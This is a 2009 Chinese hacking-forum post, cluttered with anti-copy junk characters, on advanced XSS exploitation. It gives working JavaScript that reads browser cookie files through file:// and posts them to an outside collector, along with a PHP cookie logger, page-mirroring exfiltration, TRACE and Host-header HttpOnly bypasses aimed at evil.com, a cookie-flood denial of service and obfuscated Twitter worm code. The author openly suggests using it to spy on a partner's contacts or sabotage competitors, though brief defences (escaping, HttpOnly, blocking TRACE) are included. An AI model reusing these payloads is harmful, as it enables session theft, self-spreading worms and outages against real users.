XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页3 n9 q; f- ~6 O- N0 A V
本帖最后由 racle 于 2009-5-30 09:19 编辑
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8 `3 ]2 e( n9 _' p9 k1 L; {XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页' Q8 Z$ V, T0 W0 I3 r9 C' M# l
By racle@tian6.com 6 v. `$ P7 B* `* M0 R% {1 T" g" e& B% P
http://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------2 [: i, V/ Z; B$ |
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.# C! T5 k- J: o8 n7 p4 p
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
* {6 b `/ e2 _2 R+ Zhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介0 U3 p0 ~' \ t) A
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全0 N& a$ V7 e8 L- P- X& g
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码 P( E% S1 W2 t6 S# t8 ]6 L
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持: ] z( u7 Q1 M/ s, @! v4 d7 s% ~
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( c( @, i2 e9 a+ X6 @6 Y如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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5 f Z5 m6 V+ C4 W" @希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.% T. r5 w4 j, s0 ^3 @( v& O: B
+ P! c8 O$ M) u. @3 r如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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" P. H. D& I$ C$ Z9 `; cQQ ZONE,校内网XSS 感染过万QQ ZONE.* j/ R3 Y8 u; f' |6 ?
4 i$ ]* N* ~" g0 E+ E# x0 O3 ^OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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1 H2 \) b% x3 i! u3 T复制代码------------------------------------------介绍-------------------------------------------------------------0 A# B' C# ` F3 N' [
9 y8 p: ~! _/ H8 H* l! D) Z* {- I2 ?$ {/ k什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.# m R1 q1 y2 i. j* |! [
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.( e/ h1 z% b1 U6 h6 A7 S
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- r/ I+ a- i' }6 M a6 I2 i q如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
/ V8 z7 Z. I) L复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题. i! Y @- \! Y
我们在这里重点探讨以下几个问题:$ ]: @4 r! s2 J
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1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?8 p1 F% @ Z" ?$ h: k) Q! e
2 G, s7 o: F8 c- P- I! X' n3 XSS的高级利用和高级综合型XSS蠕虫的可行性?0 y4 Q% `' o" l: Y; m! @/ E
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
* @0 r3 \/ |4 J/ `7 l* t @4 X复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
6 {1 T7 b+ \7 b$ @复制代码XSS漏洞在输出和输入两个方面怎么才能避免." W1 e6 O+ T: V+ o+ {! x
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
1 k: w0 c7 Y. E z* s& b/ u2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.3 } s# w3 _& a
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.+ d2 ?4 N( r/ p- e
4:Http-only可以采用作为COOKIES保护方式之一.9 N! K8 ~7 o+ A% T9 }) G7 q$ b$ D% r' m
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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" M& K+ C, u2 H/ e( X9 L 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。: V( Q. v( {; [( H3 X7 N# z
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( b+ h; l7 @: c) ?6 F8 @ 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
; V# [' D ? q+ {' N3 F复制代码IE6使用ajax读取本地文件 <script>1 q2 I9 j3 ]' `# j3 B T7 z7 [* \
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function $(x){return document.getElementById(x)}: T0 B8 r# d1 R I$ E. V
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function ajax_obj(){. _6 C2 N+ I6 d
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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} catch(e) {}
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return request;' y K0 i* U% z+ H$ T( p+ f
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function _7or3(_m,action,argv){' E% C4 p# e! g3 H' `/ F
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_x.send(argv);. f# q2 M7 D# X" f+ d- i
7 |- E7 e9 I( {6 } return _x.responseText;
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}
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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& u$ B7 G/ |) }0 h N6 n/ o" K </script>% A8 T8 R _, a/ S5 Q2 t
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>% N- J( m+ p6 e1 c# u
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function ajax_obj(){ y i3 h; G2 y0 \# r9 ^2 _1 E0 A
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request = new XMLHttpRequest();+ j! L! P4 u' ^: I% A4 f
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',7 t" f5 X! z4 |
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% G; m1 e8 ?3 U+ \, v5 I, a: \
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for(var i=0; i<versions.length; i++) {( j! U! m! D# I V! ^; ]6 [/ B
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+ y# {; C' i7 U/ ` request = new ActiveXObject(versions);
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return request;
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var _x = ajax_obj();
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, T& d: A# z; f% h function _7or3(_m,action,argv){
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' u% h; O! W% B, M if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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- m5 q2 K& P8 Y) |/ F' [ kChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"' n" H# g3 ?2 w# G" }1 t
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# @: |, r0 [0 }3 J: Z e Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net
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author voidloafer@gmail.com 2009-4-22
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- {9 L4 ?' F. ~# m( a http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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5 ~. n; Y5 Q1 xheader("Content-Disposition: attachment;filename=kxlzx.htm"); . e% A( N8 d, {# g
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header("Content-type: application/kxlzx"); ) n+ M# F1 E9 }1 Q s; U/ Z" r
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/*
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set header, so just download html file,and open it at local. ) a" s: z" b- h. M9 b) f- v1 X$ b
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden"> s; P# L# W! A7 [6 c. z
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; l; E% g0 N& C* m6 u. ]<script>
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5 Q: e5 b" {9 K) }0 Afunction doMyAjax(user)
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{
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& j! ?# J0 N D, ? w/ T0 S/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default ) _, L, p$ Y8 S
) Z, [: R/ E( _9 o9 _. Mand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ; q& T4 D0 w) z
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and so on...
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& V3 T& O6 A5 J. \& ? Kvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer);
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k( u8 E+ ^9 q) d8 P' H}
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+ I6 {$ K6 A o" [, g" X " ~. H, C4 s2 |9 |6 _
1 e) C' H# \% B$ ]# P9 e
function Enshellcode(txt) & a$ Q( r! k! f; k' P3 e/ |
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var url=new String(txt);
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var i=0,l=0,k=0,curl="";
! U1 p% X4 |6 @$ K6 E, h
1 ?6 Z$ E6 B) w! ]l= url.length;
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for(;i<l;i++){
" L X% p& H7 R L5 K
2 R% g/ \' K; t# E- X& Vk=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} / c( k* M5 C0 R2 p
6 ~! o7 k. M2 Q( E, M# V
if (l%2){curl+="00";}else{curl+="0000";} . P6 h8 _% ?# A& g
- ?! Z# @8 X Q1 S& y2 Jcurl=curl.replace(/(..)(..)/g,"%u$2$1"); 5 ` I" A& Y7 D$ f+ {* J
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return curl;
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4 D! ?% S6 S$ F" y1 p( I
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var xmlHttp; $ b6 @$ h6 T' I0 @
# C! D1 y0 V0 K6 j* y
function createXMLHttp(){
9 j* l( [( H+ u. s E
0 l4 _$ T& g; @# X4 S& |$ ]' A if(window.XMLHttpRequest){ - Y5 p- a: I- u( t
, L' n4 B4 Q% P8 txmlHttp = new XMLHttpRequest(); 8 x) G/ D9 [! T9 x; g3 x
. [9 d& w6 f5 j/ `* s
}
' m: {9 x$ z8 o9 Y# ?
% Y4 @. H- b S' Q. y else if(window.ActiveXObject){ # M3 G1 j! T: K; r4 X6 D/ j
0 ^/ M/ d/ F8 x; D" VxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
7 O x8 Z6 N$ q2 D) f# l3 y* S/ i/ {+ ?
}
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}
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% u- p$ ?9 U, \( b9 t6 Y r/ {
# ?, H+ z4 }8 Z6 D
function startRequest(doUrl){
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createXMLHttp();
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4 P% p. D, ?' i& M- _" z$ J% ^ xmlHttp.onreadystatechange = handleStateChange; ; [+ F/ i& C2 }% V( H. O+ o$ V
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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function handleStateChange(){
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C% w% o- S) U if (xmlHttp.readyState == 4 ){ % x- W; c8 W" O; A. y8 f5 [
# t7 h/ _% A: w$ M8 [4 H var strResponse = "";
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$ g: I5 ^1 U7 m setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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} " B1 J3 ~3 A' U
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0 {8 q7 A" Y- I+ Wfunction framekxlzxPost(text) " b& d% @6 i: H9 Y
6 Z! n9 c+ N5 }/ w1 z; i
{
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document.getElementById("input").value = Enshellcode(text); . O5 K& N5 i( T5 W
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document.getElementById("form").submit();
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} - |! Q, p0 d4 g
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doMyAjax("administrator");
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x# d# B% x) \. J+ @</script>1 h! g* ^, o2 W6 }1 k/ Z% F* K$ _
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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' v- h, U/ q& M" Q3 Bvar xmlHttp;
- P7 [$ o& M5 j- y8 {2 d
5 L9 S: H9 {+ J7 |; h6 l* R2 R/ m% |function createXMLHttp(){
! m$ o2 b2 |! K/ g8 I9 X0 N2 U# h& M" X7 K8 G- q$ D6 }
if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest(); 6 j5 p6 l0 C# W* W# |# L) w
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} 1 j+ T0 F m; M; {1 J% K& q9 P
5 t& ]' ^/ Z1 H else if(window.ActiveXObject){
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9 n4 e ~# l, ~1 M xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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8 M% z6 n" T! h% W}
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function startRequest(doUrl){
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createXMLHttp(); , ~* T& W0 U6 K; C' G. b7 M! q, h
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xmlHttp.onreadystatechange = handleStateChange; 9 u- I- p% ]8 ^4 i/ U; I
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xmlHttp.open("GET", doUrl, true); 7 O/ A5 u9 V! ]( j5 }8 B% x) |
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xmlHttp.send(null); 6 F! W6 B+ c# F: k5 o
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- L- _3 v$ I0 H4 Vfunction handleStateChange(){ - d' ^) E0 E; X
9 t' H0 N( X! E, ?2 T8 o% `' o& k0 L
if (xmlHttp.readyState == 4 ){ / C! m* f/ |$ R3 [; c0 z" J# c5 Y
! v8 p" V S* f+ z, v* U var strResponse = ""; 0 `$ F1 y5 P$ \5 u6 v" q0 Z
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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} ; w( K& w$ j4 x# F0 f
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function doMyAjax(user,file)
" Q7 L5 ?& c, |$ t% ?4 P2 ~1 T n- ~3 y0 @& \6 ]
{
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& {; G F6 r+ g7 c var time = Math.random();
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 6 A$ }, G$ C5 C1 u
4 X# H8 d; ~; }0 I9 v& k0 i) k 5 y- r8 U. |7 @" b
( g% x9 d1 _- G7 `" G! e2 g9 m startRequest(strPer); 8 |: C9 |! Q* ]
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6 g, |8 ] P! i0 C- n% N% e} + ?$ f- S: B6 h& U' A4 X% Y
8 S- s1 g5 `9 d# k( q
* U6 s0 c6 ~ F/ @3 p
4 @9 }' G w6 U/ V- \4 A6 `5 L% U0 wfunction framekxlzxPost(text)
7 b, r$ d {# T+ j6 w y" V% Q4 X
# k! X6 ~- L' M9 E' I{ ! r2 g; A- Y# `/ F
$ s5 b& p0 C9 U2 i1 r+ f+ Q' j
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/);
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} $ y* c! Q9 v# V) H
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doMyAjax('administrator','administrator@alibaba[1].txt'); * n' A! O. v1 Z1 y. T
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</script>
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5 J- |- N ]$ x% }% ]" k3 Xa.php
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<?php
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# _/ S i$ Z2 R( s( _9 O8 H5 {6 H4 ^
* H/ e+ ?. e _, v% Y8 N$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; . `) D3 S4 }+ K
7 ?( W: @$ E' M) p6 } F
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 6 l7 T0 Y G/ F( w7 S
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fwrite($fp,$_GET["cookie"]);
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fclose($fp); 9 [# O( \2 t# n$ s
' S; v1 T1 r5 `6 [# L# u m: {
?>
0 r0 Z6 m( W7 t" F( Z复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:( |, B' l0 N. P
9 g% H. b. i8 g或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
( H6 y9 p) K1 b6 R7 l! @& W& e利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.* G, S& ~8 V5 {1 A! a c2 k
/ r2 b9 X2 m7 _# I' c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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y6 X' U4 R. `- r& b) @9 Y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {2 S% ~; H% S* ~. M$ I; _# {
; ~. N" J' G( I) m7 m
var image = new Image();' ]/ m& e& \4 J7 h4 d
3 L1 H( r, a& S( G4 B2 O( B% M v" Timage.style.width = 0;
% n- z2 G h" X3 D2 o2 U' T9 T" l1 K: e
image.style.height = 0;$ R, a0 Q: a3 Q V! m% p
V/ Z1 k2 R* k pimage.src = s;
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}
# K4 v; y8 S5 f9 F+ m/ O# T) u: S4 R: w
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
8 p% I- X' A" I8 m复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等. @5 S; F1 Y. x( O, D8 C6 S
这里引用大风的一段简单代码:<script language="javascript">; Q) x9 ]5 X- f
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var metastr = "AAAAAAAAAA"; // 10 A
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, M% c) N- R* A' u! ]1 y- S# ~var str = "";
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while (str.length < 4000){
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str += metastr; Z; }2 k# R8 {' h) P9 a9 D6 b
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" y1 C1 r& z) ]4 a" [6 Cdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS/ Z2 X. k3 ?- i; r. B' v3 c1 b
' W7 ?. p! G) {6 l3 V
</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
1 Z3 f1 X5 i9 C复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.7 O4 e% O$ z; V+ h j' b0 Y
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150+ }! ^8 B3 t1 S# @2 g, e0 R* X
1 \6 y8 l7 z" t8 }* z+ @* N7 X
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.( e+ q$ K, `7 b0 d. J" K/ T: Q+ K
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.. G m4 l3 z% n
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% m* M7 k& U! k9 h" ]2 T% P(III) Http only bypass 与 补救对策:9 H. o5 ]4 S0 K6 K6 J* q) J% n
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.) l7 F6 u# r% Q" g3 ~' p$ x$ H
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
9 ~$ z) |3 G# `4 ]# t* I0 S- h6 ]5 x0 I$ t0 @: M0 |0 j
<!--
. ^% d9 J" f- h) F9 ~
' O* r m7 f- E% k7 G$ ofunction normalCookie() { 8 M* N# ~& e: S" r. \
7 B! l+ P4 Y' Ydocument.cookie = "TheCookieName=CookieValue_httpOnly";
" [; }, O$ S( a
2 s: Q" z0 B2 j5 S$ @- Galert(document.cookie);
6 a' S# Y }1 d+ }
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1 b2 `; A# ~4 L* _& I3 J o7 k% M
function httpOnlyCookie() { : B R5 i# h' A& n9 y! r
# a6 X* ?: l8 R$ d5 H
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}
4 i' n3 E$ a! l, e* ]3 [4 A7 t" v; N( j1 X
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//-->
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, v" U4 p2 Y: z" J' t</script>0 t3 Y6 U9 ]& b$ O2 _
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>6 N+ S# B8 }) F1 t6 @
$ L4 p1 d- _; u; O$ O<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
2 \, p! V$ k/ Z2 ? f复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>; `2 m+ S* C; ?+ ^7 o; M; [
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0 j. G4 y+ i$ ~, V) P. P2 Xvar request = false;
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* M) y' ` x2 Q5 e if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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: U, Y; D# V+ J# c: d5 i/ a if(request.overrideMimeType) {& u( V7 Y! S4 N3 e; r# B! A
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request.overrideMimeType('text/xml');5 \4 W3 o' K% _# ?& h* u
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} else if(window.ActiveXObject) {7 x4 K" s% h9 M8 U/ X& Z
! w; Q4 G: e; i+ y var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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9 I; V7 |) i1 v& r3 q5 m for(var i=0; i<versions.length; i++) {
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try {
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k/ l3 }! N. |/ o8 C) ?2 z! S' y request = new ActiveXObject(versions);
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} catch(e) {}
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xmlHttp=request;3 X' I# g0 p5 O8 m) @; }
/ |& h. P% {+ ]8 Y7 q! txmlHttp.open("TRACE","http://www.vul.com",false);
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xmlHttp.send(null);
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9 a6 U* v, k3 b* j/ b' Z7 k6 AxmlDoc=xmlHttp.responseText;
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alert(xmlDoc);
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+ D$ D g( X6 d0 [' i" i</script>
' g+ q; p0 R8 b6 G/ p复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script> W+ n) V$ y( G3 w! ^
4 l* Y H8 m4 P& P- S0 f* J, r$ Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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' q$ d) A6 [0 m o wXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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var resource=xmlHttp.responseText( O) R( k9 [0 E D% y9 s$ C' M) h
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resource.search(/cookies/);' C! [* O3 H" E8 q
) V* v2 O7 c8 `......................% m; M( l6 Y. ]8 f/ E6 ?& J& {
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</script>6 E6 U% \2 ~& `, \" j, r) O) S
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, \- n1 v6 B) a如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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( A8 \- k3 I( k: ]0 l[code]
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" D" V* q# q- u# c" \! Q: {RewriteEngine On
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q: j' z$ |0 p/ m/ XRewriteCond %{REQUEST_METHOD} ^TRACE6 t9 ^! B- Q4 ?- u5 }1 w. s6 x; I
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RewriteRule .* - [F]
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. }/ _ x. a3 ] h- Y
. \# [9 a2 t7 Q( QSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求 `9 a# H x, H6 V0 o4 ]3 i
, j+ X5 {: A( g/ bacl TRACE method TRACE( Z4 _- W' H+ j7 ]: V6 \% ~
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...
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+ ?1 C: w, b7 u$ [1 g$ k% Fhttp_access deny TRACE p2 @7 [- }; L' t0 ^
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");7 f9 P1 x7 e& y3 ?8 f
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XmlHttp.open("GET","http://www.google.com",false);
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/ e! Z; l! |- s |8 VXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");" l- g& H7 E% `6 h& H+ M& ] L8 z) D
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XmlHttp.send(null);6 u" C ^9 @! O+ T! G
9 }" n" [+ {! ?6 O( e$ u! M6 {</script>! z* a* S7 V4 R. D, ^* V" j
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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& g6 B/ h5 k6 ?4 Y) J# kvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);9 ?5 C& N$ Y- c) Z1 v. H) ^
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XmlHttp.send(null);
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<script>" }0 m5 {# Y% @. M8 B0 ?
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.9 B C( k7 j) X( P( p
复制代码案例:Twitter 蠕蟲五度發威- ?& x2 y; `& G# G
第一版:
( |/ E" \8 n% f 下载 (5.1 KB)+ o+ g7 l0 O4 E
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6 天前 08:27
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g; \* E7 Y3 l& {5 x第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
' x' y5 [, r" m. S4 ?( [' K) a, T/ J% _
3. function XHConn(){ % w" N; l" p* e
; r- l9 W0 A) [2 h/ B3 P$ w3 p* ~: ?( r 4. var _0x6687x2,_0x6687x3=false; : J4 m3 J% f% `0 Q; Z8 |' T
8 m0 X# t& F2 R. Y0 b 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } + z! ^. [. L. l/ J
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } " t' a' m0 q9 g1 z5 W. c
2 N+ B5 U( h4 S 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 1 d* [' N8 ^/ s# M
7 x+ R# H% q, v2 B( T
8. catch(e) { _0x6687x2=false; }; }; }; ( Q; e" z& B+ V+ C1 l3 h( D2 B
复制代码第六版: 1. function wait() {
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, h' D, n" H8 ?; { I 2. var content = document.documentElement.innerHTML;
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. e% P9 e' e% C9 f# s; } 3. var tmp_cookie=document.cookie; + j- z. c( S" Y6 p) @$ J
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4. var tmp_posted=tmp_cookie.match(/posted/); " d- G8 F1 ]6 ~
* X. V( v8 J4 B; G 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 4 S5 x7 ^; c R( p M4 s# ~
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6. var authtoken=authreg.exec(content);
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4 i# T. d R3 `6 b. y! \ 7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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: y! A3 w3 B6 e% m! J9 _5 C 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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. Q& `/ e# S4 M5 ]( C* u& T 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; 8 G! `' Z2 c9 T7 g3 @5 X5 x/ w
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; " P* ?. H3 [6 s
